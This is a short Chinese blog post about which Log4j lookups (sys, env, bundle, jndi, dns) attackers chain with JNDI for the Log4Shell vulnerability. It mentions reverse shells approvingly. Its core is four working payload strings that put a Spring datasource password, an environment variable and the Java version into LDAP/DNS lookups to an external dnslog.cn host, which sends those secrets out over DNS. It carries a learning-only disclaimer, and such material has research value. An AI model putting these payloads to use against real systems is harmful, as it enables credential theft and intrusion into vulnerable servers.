log4j其它几个lookup使用

/ 默认分类 / 0 条评论 / 9143 浏览

本站的所有程序和文章，仅限用于学习和研究目的；不得用于商业或者非法用途，否则，一切后果请用户自负！！

lookup类

可用的类如下

大佬们主要使用的有sys、env、bundle、jndi、dns

前面三个配合jndi和dns外带，能jndi反弹shell当然就是最香的了。

        LOGGER.error("${jndi:ldap://test.${bundle:application:spring.datasource.password}.j459j1.dnslog.cn/a}");
        LOGGER.error("${jndi:ldap://${env:os}.j459j1.dnslog.cn}");
        LOGGER.error("${jndi:ldap://1.${sys:java.version}.j459j1.dnslog.cn}");
        LOGGER.error("${jndi:dns://2.${sys:java.version}.j459j1.dnslog.cn}");

本文最后编辑时间为: 2021-12-11

本文由 safe6 创作,著作权归作者所有，任何形式的转载都请联系作者获得授权并注明出处。

如本文对你有帮助，点击广告支持一下吧，创造不易。

safe6